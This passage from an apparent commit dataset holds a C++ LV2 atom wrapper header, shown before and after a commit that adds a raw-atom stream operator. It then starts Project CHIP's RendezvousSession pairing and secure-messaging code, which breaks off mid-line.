}\n\n        Forge& operator<<(float x)\n        {\n            lv2_atom_forge_float(this, x);\n            return *this;\n        }\n\n        Forge& operator<<(double x)\n        {\n            lv2_atom_forge_double(this, x);\n            return *this;\n        }\n\n        Forge& operator<<(bool x)\n        {\n            lv2_atom_forge_bool(this, x);\n            return *this;\n        }\n\n        Forge& operator<<(LV2_URID x)\n        {\n            lv2_atom_forge_urid(this, x);\n            return *this;\n        }\n\n        Forge& operator<<(const char* x)\n        {\n            lv2_atom_forge_string(this, x, strlen(x));\n            return *this;\n        }\n\n        Forge& operator<<(const std::string& x)\n        {\n            lv2_atom_forge_string(this, x.c_str(), x.size());\n            return *this;\n        }\n\n        Forge& operator<<(const class Property& x)\n        {\n            lv2_atom_forge_property_head(this, x.key(), x.context());\n            return *this;\n        }\n    };\n\n    class Frame : public LV2_Atom_Forge_Frame\n    {\n    public:\n        Frame(Forge& forge)\n            : m_forge(forge)\n        { }\n        virtual ~Frame()\n        {\n            lv2_atom_forge_pop(&m_forge, this);\n        }\n\n        operator Forge& () { return m_forge; }\n\n    protected:\n        Forge& m_forge;\n    };\n\n    class TupleFrame : public Frame\n    {\n    public:\n        TupleFrame(Forge& forge)\n            : Frame(forge)\n        {\n            lv2_atom_forge_tuple(&m_forge, this);\n        }\n    };\n\n    class ObjectFrame : public Frame\n    {\n    public:\n        ObjectFrame(Forge& forge, LV2_URID id, LV2_URID otype)\n            : Frame(forge)\n        {\n            lv2_atom_forge_blank(&m_forge, this, id, otype);\n        }\n    };\n\n    \/\/* Return true if atom is of the specified type.\n    bool isa(const LV2_Atom* atom, LV2_URID type)\n    {\n        return atom->type == type;\n    }\n\n    \/\/* Return true if object is of the specified type.\n    bool isa(const LV2_Atom_Object* object, LV2_URID otype)\n    {\n        return object->body.otype == otype;\n    }\n\n    class Parser\n    {\n    public:\n        Parser(LV2_URID_Map* map)\n        {\n            lv2_atom_forge_init(&m_forge, map);\n        }\n        Parser(const Parser& other) = default;\n\n        bool isBlank(const LV2_Atom* atom) const\n        {\n            return isa(atom, m_forge.Blank);\n        }\n        bool isResource(const LV2_Atom* atom) const\n        {\n            return isa(atom, m_forge.Resource);\n        }\n        bool isObject(const LV2_Atom* atom) const\n        {\n            return isBlank(atom) || isResource(atom);\n        }\n        bool isTuple(const LV2_Atom* atom) const\n        {\n            return isa(atom, m_forge.Tuple);\n        }\n        bool isSequence(const LV2_Atom* atom) const\n        {\n            return isa(atom, m_forge.Sequence);\n        }\n\n        bool isBlank(const LV2_Atom_Object* object) const\n        {\n            return isBlank(reinterpret_cast<const LV2_Atom*>(object));\n        }\n        bool isResource(const LV2_Atom_Object* object) const\n        {\n            return isResource(reinterpret_cast<const LV2_Atom*>(object));\n        }\n\n        template <typename T> T cast(const LV2_Atom* atom, LV2_URID type, const char* typeName=nullptr) const\n        {\n            checkType(atom, type, typeName);\n            return reinterpret_cast<T>(atom);\n        }\n\n        template <typename T> T cast(const LV2_Atom* atom) const\n        {\n            checkType(atom, m_forge.Chunk, LV2_ATOM__Chunk);\n            return reinterpret_cast<T>(LV2_ATOM_BODY(atom));\n        }\n\n        template <typename T> T get(const LV2_Atom_Object* object, LV2_URID key) const;\n\n        const LV2_Atom_Forge& forge()\n        {\n            return m_forge;\n        }\n\n    private:\n        void argumentError(const char* typeName) const\n        {\n            std::stringstream msg;\n            msg << \"argument type error\";\n            if (typeName != nullptr)\n                msg << \", expected \" << typeName;\n            throw std::invalid_argument(msg.str());\n        }\n\n        void checkType(const LV2_Atom* atom, LV2_URID type, const char* typeName=nullptr) const\n        {\n            if (!isa(atom, type)) argumentError(typeName);\n        }\n\n    private:\n        LV2_Atom_Forge m_forge;\n    };\n\n    template <> int32_t Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Int, LV2_ATOM__Int);\n        return reinterpret_cast<const LV2_Atom_Int*>(atom)->body;\n    }\n\n    template <> int64_t Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Long, LV2_ATOM__Long);\n        return reinterpret_cast<const LV2_Atom_Long*>(atom)->body;\n    }\n\n    template <> float Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Float, LV2_ATOM__Float);\n        return reinterpret_cast<const LV2_Atom_Float*>(atom)->body;\n    }\n\n    template <> double Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Double, LV2_ATOM__Double);\n        return reinterpret_cast<const LV2_Atom_Double*>(atom)->body;\n    }\n\n    template <> LV2_URID Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.URID, LV2_ATOM__URID);\n        return reinterpret_cast<const LV2_Atom_URID*>(atom)->body;\n    }\n\n    template <> const char* Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.String, LV2_ATOM__String);\n        return reinterpret_cast<const char*>(LV2_ATOM_BODY(atom));\n    }\n\n    template <> const LV2_Atom_Object* Parser::cast(const LV2_Atom* atom) const\n    {\n        if (!isObject(atom))\n            argumentError(LV2_ATOM_PREFIX \"Object\");\n        return reinterpret_cast<const LV2_Atom_Object*>(atom);\n    }\n\n    template <> const LV2_Atom_Tuple* Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Tuple, LV2_ATOM__Tuple);\n        return reinterpret_cast<const LV2_Atom_Tuple*>(atom);\n    }\n\n    template <> const LV2_Atom_Sequence* Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Sequence, LV2_ATOM__Sequence);\n        return reinterpret_cast<const LV2_Atom_Sequence*>(atom);\n    }\n\n    template <typename T> T Parser::get(const LV2_Atom_Object* object, LV2_URID key) const\n    {\n        const LV2_Atom* value = nullptr;\n        lv2_atom_object_get(object, key, &value, nullptr);\n        if (value == nullptr) {\n            std::stringstream msg;\n            msg << \"missing key \" << key;\n            throw std::out_of_range(msg.str());\n        }\n        return cast<T>(value);\n    }\n\n    class Printer : public Parser\n    {\n    public:\n        Printer(LV2_URID_Map* map, const LV2_URID_Unmap* unmap)\n            : Parser(map)\n            , m_unmap(*unmap)\n        { }\n\n        void print(std::ostream& out, const LV2_Atom* atom, size_t level=0)\n        {\n                   if (isa(atom, forge().Int)) {\n                indent(out, level);\n                out << cast<int32_t>(atom);\n            } else if (isa(atom, forge().Long)) {\n                indent(out, level);\n                out << cast<int64_t>(atom);\n            } else if (isa(atom, forge().Float)) {\n                indent(out, level);\n                out << cast<float>(atom);\n            } else if (isa(atom, forge().Double)) {\n                indent(out, level);\n                out << cast<double>(atom);\n            } else if (isa(atom, forge().String)) {\n                indent(out, level);\n                out << '\"' << cast<const char*>(atom) << '\"';\n            } else if (isa(atom, forge().URID)) {\n                indent(out, level);\n                out << '<' << unmap(cast<LV2_URID>(atom)) << '>';\n            } else if (isTuple(atom)) {\n                indent(out, level);\n                out << '[' << std::endl;\n                const LV2_Atom_Tuple* tuple = cast<const LV2_Atom_Tuple*>(atom);\n                for (LV2_Atom* (iter) = lv2_atom_tuple_begin(tuple);\n                     !lv2_atom_tuple_is_end(LV2_ATOM_BODY(tuple), (atom)->size, (iter));\n                     (iter) = lv2_atom_tuple_next(iter)) {\n                    print(out, iter, level+4);\n                    out << std::endl;\n                }\n                indent(out, level);\n                out << ']';\n            \/\/} else if (isSequence(atom)) {\n            } else if (isObject(atom)) {\n                indent(out, level);\n                const LV2_Atom_Object* object = cast<const LV2_Atom_Object*>(atom);\n                if (isResource(object))\n                    out << \"<\" << unmap(object->body.id) << \"> \";\n                \/\/else if (isBlank(object))\n                    \/\/out << \"[] \";\n                out << '{' << std::endl;\n                indent(out, level+4);\n                out << \"<rdf:type>:\" << std::endl;\n                indent(out, level+8);\n                out << '<' << unmap(object->body.otype) << '>' << std::endl;\n                LV2_ATOM_OBJECT_FOREACH(object, iter) {\n                    indent(out, level+4);\n                    out << '<' << unmap(iter->key) << \">:\" << std::endl;\n                    print(out, &iter->value, level+8);\n                    out << std::endl;\n                }\n                indent(out, level);\n                out << '}';\n            } else {\n                indent(out, level);\n                out << \"<Atom \" << atom->type << \">\";\n            }\n        }\n\n    private:\n        const char* unmap(LV2_URID urid) const\n        {\n            return m_unmap.unmap(m_unmap.handle, urid);\n        }\n\n        static void indent(std::ostream& stream, size_t n)\n        {\n            for (size_t i=0; i < n; i++) {\n                stream << ' ';\n            }\n        }\n\n    private:\n        LV2_URID_Unmap m_unmap;\n    };\n\n    \/\/\n\/\/ class ObjectIterator\n\/\/   : public boost::iterator_facade<\n\/\/         ObjectIterator\n\/\/       , Property const\n\/\/       , boost::input_iterator_tag\n\/\/     >\n\/\/ {\n\/\/  public:\n\/\/     ObjectIterator()\n\/\/       : m_node(0) {}\n\n\/\/     explicit ObjectIterator(node_base* p)\n\/\/       : m_node(p) {}\n\n\/\/  private:\n\/\/     friend class boost::iterator_core_access;\n\n\/\/     void increment() { m_node = m_node->next(); }\n\n\/\/     bool equal(const_node_iterator const& other) const\n\/\/     {\n\/\/         return this->m_node == other.m_node;\n\/\/     }\n\n\/\/     node_base const& dereference() const { return *m_node; }\n\n\/\/     node_base const* m_node;\n\/\/ };\n\n\/\/class Property\n\/\/{\n\/\/public:\n\t\/\/Property(const LV2_Atom_Property_Body* prop)\n\t\t\/\/: m_impl(prop)\n\t\/\/{ }\n\n\/\/private:\n\t\/\/const LV2_Atom_Property* m_impl;\n\/\/};\n\n\/\/class Object\n\/\/{\n\/\/public:\n\t\/\/Object(const LV2_Atom_Object* obj)\n\t\t\/\/: m_impl(obj)\n\t\/\/{ }\n\n\t\/\/class const_iterator\n\t\/\/{\n\t\/\/public:\n\t\t\/\/explicit const_iterator(const LV2_Atom_Object_Body* obj)\n\t\t\t\/\/: m_iter(it)\n\t\t\/\/{ }\n\n\t\t\/\/operator bool () const { return !lv2_atom_}\n\t\/\/};\n\n\t\/\/const_iterator begin() const { return ObjectIterator(m_impl); }\n\/\/private:\n\t\/\/const LV2_Atom_Object_Body* m_impl;\n\/\/};\n\n}; };\n\n#endif \/\/ METHCLA_LV2_ATOM_HPP_INCLUDED\n<commit_msg>Add operator for copying an existing atom to output stream<commit_after>\/\/ Copyright 2012-2013 Samplecount S.L.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef METHCLA_LV2_ATOM_HPP_INCLUDED\n#define METHCLA_LV2_ATOM_HPP_INCLUDED\n\n#include <cassert>\n#include <ostream>\n#include <stdexcept>\n#include <sstream>\n#include <string>\n\n#include \"lv2\/lv2plug.in\/ns\/ext\/atom\/atom.h\"\n#include \"lv2\/lv2plug.in\/ns\/ext\/atom\/forge.h\"\n#include \"lv2\/lv2plug.in\/ns\/ext\/atom\/util.h\"\n\nnamespace Methcla { namespace LV2 {\n\n    class Property\n    {\n    public:\n        Property(LV2_URID key, LV2_URID context=0)\n            : m_key(key)\n            , m_context(context)\n        { }\n\n        LV2_URID key() const { return m_key; }\n        LV2_URID context() const { return m_context; }\n\n    private:\n        LV2_URID m_key, m_context;\n    };\n\n    class Forge : public LV2_Atom_Forge\n    {\n    public:\n        Forge(const LV2_Atom_Forge& forge)\n            : LV2_Atom_Forge(forge)\n        { }\n        Forge(LV2_URID_Map* uridMap)\n        {\n            lv2_atom_forge_init(this, uridMap);\n        }\n        Forge(const Forge& other) = default;\n\n        void setBuffer(uint8_t* data, uint32_t size)\n        {\n            lv2_atom_forge_set_buffer(this, data, size);\n        }\n\n        void atom(uint32_t size, uint32_t type)\n        {\n            lv2_atom_forge_atom(this, size, type);\n        }\n\n        void write(const void* data, uint32_t size)\n        {\n            lv2_atom_forge_write(this, const_cast<void*>(data), size);\n        }\n\n        Forge& operator<<(int32_t x)\n        {\n            lv2_atom_forge_int(this, x);\n            return *this;\n        }\n\n        Forge& operator<<(int64_t x)\n        {\n            lv2_atom_forge_long(this, x);\n            return *this;\n        }\n\n        Forge& operator<<(float x)\n        {\n            lv2_atom_forge_float(this, x);\n            return *this;\n        }\n\n        Forge& operator<<(double x)\n        {\n            lv2_atom_forge_double(this, x);\n            return *this;\n        }\n\n        Forge& operator<<(bool x)\n        {\n            lv2_atom_forge_bool(this, x);\n            return *this;\n        }\n\n        Forge& operator<<(LV2_URID x)\n        {\n            lv2_atom_forge_urid(this, x);\n            return *this;\n        }\n\n        Forge& operator<<(const char* x)\n        {\n            lv2_atom_forge_string(this, x, strlen(x));\n            return *this;\n        }\n\n        Forge& operator<<(const std::string& x)\n        {\n            lv2_atom_forge_string(this, x.c_str(), x.size());\n            return *this;\n        }\n\n        Forge& operator<<(const class Property& x)\n        {\n            lv2_atom_forge_property_head(this, x.key(), x.context());\n            return *this;\n        }\n\n        Forge& operator<<(const LV2_Atom* x)\n        {\n            lv2_atom_forge_raw(this, x, sizeof(LV2_Atom) + x->size);\n            return *this;\n        }\n    };\n\n    class Frame : public LV2_Atom_Forge_Frame\n    {\n    public:\n        Frame(Forge& forge)\n            : m_forge(forge)\n        { }\n        virtual ~Frame()\n        {\n            lv2_atom_forge_pop(&m_forge, this);\n        }\n\n        operator Forge& () { return m_forge; }\n\n    protected:\n        Forge& m_forge;\n    };\n\n    class TupleFrame : public Frame\n    {\n    public:\n        TupleFrame(Forge& forge)\n            : Frame(forge)\n        {\n            lv2_atom_forge_tuple(&m_forge, this);\n        }\n    };\n\n    class ObjectFrame : public Frame\n    {\n    public:\n        ObjectFrame(Forge& forge, LV2_URID id, LV2_URID otype)\n            : Frame(forge)\n        {\n            lv2_atom_forge_blank(&m_forge, this, id, otype);\n        }\n    };\n\n    \/\/* Return true if atom is of the specified type.\n    bool isa(const LV2_Atom* atom, LV2_URID type)\n    {\n        return atom->type == type;\n    }\n\n    \/\/* Return true if object is of the specified type.\n    bool isa(const LV2_Atom_Object* object, LV2_URID otype)\n    {\n        return object->body.otype == otype;\n    }\n\n    class Parser\n    {\n    public:\n        Parser(LV2_URID_Map* map)\n        {\n            lv2_atom_forge_init(&m_forge, map);\n        }\n        Parser(const Parser& other) = default;\n\n        bool isBlank(const LV2_Atom* atom) const\n        {\n            return isa(atom, m_forge.Blank);\n        }\n        bool isResource(const LV2_Atom* atom) const\n        {\n            return isa(atom, m_forge.Resource);\n        }\n        bool isObject(const LV2_Atom* atom) const\n        {\n            return isBlank(atom) || isResource(atom);\n        }\n        bool isTuple(const LV2_Atom* atom) const\n        {\n            return isa(atom, m_forge.Tuple);\n        }\n        bool isSequence(const LV2_Atom* atom) const\n        {\n            return isa(atom, m_forge.Sequence);\n        }\n\n        bool isBlank(const LV2_Atom_Object* object) const\n        {\n            return isBlank(reinterpret_cast<const LV2_Atom*>(object));\n        }\n        bool isResource(const LV2_Atom_Object* object) const\n        {\n            return isResource(reinterpret_cast<const LV2_Atom*>(object));\n        }\n\n        template <typename T> T cast(const LV2_Atom* atom, LV2_URID type, const char* typeName=nullptr) const\n        {\n            checkType(atom, type, typeName);\n            return reinterpret_cast<T>(atom);\n        }\n\n        template <typename T> T cast(const LV2_Atom* atom) const\n        {\n            checkType(atom, m_forge.Chunk, LV2_ATOM__Chunk);\n            return reinterpret_cast<T>(LV2_ATOM_BODY(atom));\n        }\n\n        template <typename T> T get(const LV2_Atom_Object* object, LV2_URID key) const;\n\n        const LV2_Atom_Forge& forge()\n        {\n            return m_forge;\n        }\n\n    private:\n        void argumentError(const char* typeName) const\n        {\n            std::stringstream msg;\n            msg << \"argument type error\";\n            if (typeName != nullptr)\n                msg << \", expected \" << typeName;\n            throw std::invalid_argument(msg.str());\n        }\n\n        void checkType(const LV2_Atom* atom, LV2_URID type, const char* typeName=nullptr) const\n        {\n            if (!isa(atom, type)) argumentError(typeName);\n        }\n\n    private:\n        LV2_Atom_Forge m_forge;\n    };\n\n    template <> int32_t Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Int, LV2_ATOM__Int);\n        return reinterpret_cast<const LV2_Atom_Int*>(atom)->body;\n    }\n\n    template <> int64_t Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Long, LV2_ATOM__Long);\n        return reinterpret_cast<const LV2_Atom_Long*>(atom)->body;\n    }\n\n    template <> float Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Float, LV2_ATOM__Float);\n        return reinterpret_cast<const LV2_Atom_Float*>(atom)->body;\n    }\n\n    template <> double Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Double, LV2_ATOM__Double);\n        return reinterpret_cast<const LV2_Atom_Double*>(atom)->body;\n    }\n\n    template <> LV2_URID Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.URID, LV2_ATOM__URID);\n        return reinterpret_cast<const LV2_Atom_URID*>(atom)->body;\n    }\n\n    template <> const char* Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.String, LV2_ATOM__String);\n        return reinterpret_cast<const char*>(LV2_ATOM_BODY(atom));\n    }\n\n    template <> const LV2_Atom_Object* Parser::cast(const LV2_Atom* atom) const\n    {\n        if (!isObject(atom))\n            argumentError(LV2_ATOM_PREFIX \"Object\");\n        return reinterpret_cast<const LV2_Atom_Object*>(atom);\n    }\n\n    template <> const LV2_Atom_Tuple* Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Tuple, LV2_ATOM__Tuple);\n        return reinterpret_cast<const LV2_Atom_Tuple*>(atom);\n    }\n\n    template <> const LV2_Atom_Sequence* Parser::cast(const LV2_Atom* atom) const\n    {\n        checkType(atom, m_forge.Sequence, LV2_ATOM__Sequence);\n        return reinterpret_cast<const LV2_Atom_Sequence*>(atom);\n    }\n\n    template <typename T> T Parser::get(const LV2_Atom_Object* object, LV2_URID key) const\n    {\n        const LV2_Atom* value = nullptr;\n        lv2_atom_object_get(object, key, &value, nullptr);\n        if (value == nullptr) {\n            std::stringstream msg;\n            msg << \"missing key \" << key;\n            throw std::out_of_range(msg.str());\n        }\n        return cast<T>(value);\n    }\n\n    class Printer : public Parser\n    {\n    public:\n        Printer(LV2_URID_Map* map, const LV2_URID_Unmap* unmap)\n            : Parser(map)\n            , m_unmap(*unmap)\n        { }\n\n        void print(std::ostream& out, const LV2_Atom* atom, size_t level=0)\n        {\n                   if (isa(atom, forge().Int)) {\n                indent(out, level);\n                out << cast<int32_t>(atom);\n            } else if (isa(atom, forge().Long)) {\n                indent(out, level);\n                out << cast<int64_t>(atom);\n            } else if (isa(atom, forge().Float)) {\n                indent(out, level);\n                out << cast<float>(atom);\n            } else if (isa(atom, forge().Double)) {\n                indent(out, level);\n                out << cast<double>(atom);\n            } else if (isa(atom, forge().String)) {\n                indent(out, level);\n                out << '\"' << cast<const char*>(atom) << '\"';\n            } else if (isa(atom, forge().URID)) {\n                indent(out, level);\n                out << '<' << unmap(cast<LV2_URID>(atom)) << '>';\n            } else if (isTuple(atom)) {\n                indent(out, level);\n                out << '[' << std::endl;\n                const LV2_Atom_Tuple* tuple = cast<const LV2_Atom_Tuple*>(atom);\n                for (LV2_Atom* (iter) = lv2_atom_tuple_begin(tuple);\n                     !lv2_atom_tuple_is_end(LV2_ATOM_BODY(tuple), (atom)->size, (iter));\n                     (iter) = lv2_atom_tuple_next(iter)) {\n                    print(out, iter, level+4);\n                    out << std::endl;\n                }\n                indent(out, level);\n                out << ']';\n            \/\/} else if (isSequence(atom)) {\n            } else if (isObject(atom)) {\n                indent(out, level);\n                const LV2_Atom_Object* object = cast<const LV2_Atom_Object*>(atom);\n                if (isResource(object))\n                    out << \"<\" << unmap(object->body.id) << \"> \";\n                \/\/else if (isBlank(object))\n                    \/\/out << \"[] \";\n                out << '{' << std::endl;\n                indent(out, level+4);\n                out << \"<rdf:type>:\" << std::endl;\n                indent(out, level+8);\n                out << '<' << unmap(object->body.otype) << '>' << std::endl;\n                LV2_ATOM_OBJECT_FOREACH(object, iter) {\n                    indent(out, level+4);\n                    out << '<' << unmap(iter->key) << \">:\" << std::endl;\n                    print(out, &iter->value, level+8);\n                    out << std::endl;\n                }\n                indent(out, level);\n                out << '}';\n            } else {\n                indent(out, level);\n                out << \"<Atom \" << atom->type << \">\";\n            }\n        }\n\n    private:\n        const char* unmap(LV2_URID urid) const\n        {\n            return m_unmap.unmap(m_unmap.handle, urid);\n        }\n\n        static void indent(std::ostream& stream, size_t n)\n        {\n            for (size_t i=0; i < n; i++) {\n                stream << ' ';\n            }\n        }\n\n    private:\n        LV2_URID_Unmap m_unmap;\n    };\n\n    \/\/\n\/\/ class ObjectIterator\n\/\/   : public boost::iterator_facade<\n\/\/         ObjectIterator\n\/\/       , Property const\n\/\/       , boost::input_iterator_tag\n\/\/     >\n\/\/ {\n\/\/  public:\n\/\/     ObjectIterator()\n\/\/       : m_node(0) {}\n\n\/\/     explicit ObjectIterator(node_base* p)\n\/\/       : m_node(p) {}\n\n\/\/  private:\n\/\/     friend class boost::iterator_core_access;\n\n\/\/     void increment() { m_node = m_node->next(); }\n\n\/\/     bool equal(const_node_iterator const& other) const\n\/\/     {\n\/\/         return this->m_node == other.m_node;\n\/\/     }\n\n\/\/     node_base const& dereference() const { return *m_node; }\n\n\/\/     node_base const* m_node;\n\/\/ };\n\n\/\/class Property\n\/\/{\n\/\/public:\n\t\/\/Property(const LV2_Atom_Property_Body* prop)\n\t\t\/\/: m_impl(prop)\n\t\/\/{ }\n\n\/\/private:\n\t\/\/const LV2_Atom_Property* m_impl;\n\/\/};\n\n\/\/class Object\n\/\/{\n\/\/public:\n\t\/\/Object(const LV2_Atom_Object* obj)\n\t\t\/\/: m_impl(obj)\n\t\/\/{ }\n\n\t\/\/class const_iterator\n\t\/\/{\n\t\/\/public:\n\t\t\/\/explicit const_iterator(const LV2_Atom_Object_Body* obj)\n\t\t\t\/\/: m_iter(it)\n\t\t\/\/{ }\n\n\t\t\/\/operator bool () const { return !lv2_atom_}\n\t\/\/};\n\n\t\/\/const_iterator begin() const { return ObjectIterator(m_impl); }\n\/\/private:\n\t\/\/const LV2_Atom_Object_Body* m_impl;\n\/\/};\n\n}; };\n\n#endif \/\/ METHCLA_LV2_ATOM_HPP_INCLUDED\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *\n *    Copyright (c) 2020 Project CHIP Authors\n *\n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n *\n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License.\n *\/\n\n#include <core\/CHIPSafeCasts.h>\n#include <support\/CodeUtils.h>\n#include <support\/ErrorStr.h>\n#include <support\/SafeInt.h>\n#include <transport\/RendezvousSession.h>\n\n#if CONFIG_NETWORK_LAYER_BLE\n#include <transport\/BLE.h>\n#endif \/\/ CONFIG_NETWORK_LAYER_BLE\n\nstatic const size_t kMax_SecureSDU_Length          = 1024;\nstatic constexpr uint32_t kSpake2p_Iteration_Count = 50000;\nstatic const char * kSpake2pKeyExchangeSalt        = \"SPAKE2P Key Exchange Salt\";\n\nnamespace chip {\n\nenum NetworkProvisioningMsgTypes : uint8_t\n{\n    kWiFiAssociationRequest = 0,\n    kIPAddressAssigned      = 1,\n};\n\nCHIP_ERROR RendezvousSession::Init()\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n\n    mParams = params;\n    VerifyOrExit(mDelegate != nullptr, err = CHIP_ERROR_INCORRECT_STATE);\n    VerifyOrExit(mParams.HasLocalNodeId(), err = CHIP_ERROR_INVALID_ARGUMENT);\n    VerifyOrExit(mParams.HasSetupPINCode(), err = CHIP_ERROR_INVALID_ARGUMENT);\n\n    err = CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n#if CONFIG_NETWORK_LAYER_BLE\n    {\n        Transport::BLE * transport = new Transport::BLE();\n        err                        = transport->Init(this, mParams);\n        mTransport                 = transport;\n        mTransport->Retain();\n        transport->Release();\n    }\n#endif \/\/ CONFIG_NETWORK_LAYER_BLE\n    SuccessOrExit(err);\n\n    if (mParams.HasDiscriminator() == false)\n    {\n        err = WaitForPairing(mParams.GetLocalNodeId(), mParams.GetSetupPINCode());\n    }\n\nexit:\n    return err;\n}\n\nRendezvousSession::~RendezvousSession()\n{\n    if (mTransport)\n    {\n        mTransport->Release();\n        mTransport = nullptr;\n    }\n\n    mDelegate = nullptr;\n}\n\nCHIP_ERROR RendezvousSession::SendMessage(System::PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = mPairingInProgress ? SendPairingMessage(msgBuf)\n                                        : SendSecureMessage(Protocols::kChipProtocol_NetworkProvisioning,\n                                                            NetworkProvisioningMsgTypes::kWiFiAssociationRequest, msgBuf);\n    SuccessOrExit(err);\n\nexit:\n    if (err != CHIP_NO_ERROR)\n    {\n        mPairingInProgress ? OnPairingError(err) : OnRendezvousError(err);\n    }\n    return err;\n}\n\nCHIP_ERROR RendezvousSession::AssignedIPAddress(IPAddress & deviceAddr)\n{\n    CHIP_ERROR err                = CHIP_NO_ERROR;\n    System::PacketBuffer * buffer = System::PacketBuffer::New();\n\n    char * addrStr = deviceAddr.ToString(Uint8::to_char(buffer->Start()), buffer->AvailableDataLength());\n    VerifyOrExit(addrStr != nullptr, err = CHIP_ERROR_INVALID_ADDRESS);\n\n    buffer->SetDataLength(strlen(addrStr) + 1);\n\n    err = SendSecureMessage(Protocols::kChipProtocol_NetworkProvisioning, NetworkProvisioningMsgTypes::kIPAddressAssigned, buffer);\n    SuccessOrExit(err);\n\n    mDeviceAddress = deviceAddr;\n    return err;\n\nexit:\n    OnRendezvousError(err);\n    return err;\n}\n\nCHIP_ERROR RendezvousSession::SendPairingMessage(System::PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n    PacketHeader header;\n    uint16_t headerSize = 0;\n\n    VerifyOrExit(msgBuf != nullptr, err = CHIP_ERROR_INVALID_ARGUMENT);\n    VerifyOrExit(msgBuf->Next() == nullptr, err = CHIP_ERROR_INVALID_MESSAGE_LENGTH);\n\n    err = header.Decode(msgBuf->Start(), msgBuf->DataLength(), &headerSize);\n    SuccessOrExit(err);\n\n    msgBuf->ConsumeHead(headerSize);\n    err = mTransport->SendMessage(header, Header::Flags::None(), Transport::PeerAddress::BLE(), msgBuf);\n    SuccessOrExit(err);\n\nexit:\n    return err;\n}\n\nCHIP_ERROR RendezvousSession::SendSecureMessage(Protocols::CHIPProtocolId protocol, uint8_t msgType, System::PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n    PacketHeader packetHeader;\n    PayloadHeader payloadHeader;\n    MessageAuthenticationCode mac;\n    const uint16_t headerSize = payloadHeader.EncodeSizeBytes();\n    uint16_t actualEncodedHeaderSize;\n    uint8_t * data    = nullptr;\n    uint16_t totalLen = 0;\n    uint16_t taglen   = 0;\n\n    VerifyOrExit(msgBuf != nullptr, err = CHIP_ERROR_INVALID_ARGUMENT);\n    VerifyOrExit(msgBuf->Next() == nullptr, err = CHIP_ERROR_INVALID_MESSAGE_LENGTH);\n    VerifyOrExit(msgBuf->TotalLength() < kMax_SecureSDU_Length, err = CHIP_ERROR_INVALID_MESSAGE_LENGTH);\n    VerifyOrExit(CanCastTo<uint16_t>(headerSize + msgBuf->TotalLength()), err = CHIP_ERROR_INVALID_MESSAGE_LENGTH);\n\n    packetHeader\n        .SetSourceNodeId(mParams.GetLocalNodeId())           \/\/\n        .SetMessageId(mSecureMessageIndex)                   \/\/\n        .SetEncryptionKeyID(mPairingSession.GetLocalKeyId()) \/\/\n        .SetPayloadLength(static_cast<uint16_t>(headerSize + msgBuf->TotalLength()));\n\n    payloadHeader.SetProtocolID(protocol).SetMessageType(msgType);\n\n    VerifyOrExit(msgBuf->EnsureReservedSize(headerSize), err = CHIP_ERROR_NO_MEMORY);\n\n    msgBuf->SetStart(msgBuf->Start() - headerSize);\n    data     = msgBuf->Start();\n    totalLen = msgBuf->TotalLength();\n\n    err = payloadHeader.Encode(data, totalLen, &actualEncodedHeaderSize);\n    SuccessOrExit(err);\n\n    err = mSecureSession.Encrypt(data, totalLen, data, packetHeader, payloadHeader.GetEncodePacketFlags(), mac);\n    SuccessOrExit(err);\n\n    err = mac.Encode(packetHeader, &data[totalLen], kMaxTagLen, &taglen);\n    SuccessOrExit(err);\n\n    VerifyOrExit(CanCastTo<uint16_t>(totalLen + taglen), err = CHIP_ERROR_INVALID_MESSAGE_LENGTH);\n    msgBuf->SetDataLength(static_cast<uint16_t>(totalLen + taglen));\n\n    err = mTransport->SendMessage(packetHeader, payloadHeader.GetEncodePacketFlags(), Transport::PeerAddress::BLE(), msgBuf);\n    SuccessOrExit(err);\n\n    mSecureMessageIndex++;\n    msgBuf = nullptr;\n\nexit:\n    return err;\n}\n\nvoid RendezvousSession::OnPairingError(CHIP_ERROR err)\n{\n    mPairingInProgress = false;\n    mDelegate->OnRendezvousError(err);\n    mDelegate->OnRendezvousStatusUpdate(RendezvousSessionDelegate::SecurePairingFailed);\n}\n\nvoid RendezvousSession::OnPairingComplete()\n{\n    mPairingInProgress = false;\n\n    CHIP_ERROR err = mPairingSession.DeriveSecureSession((const unsigned char *) 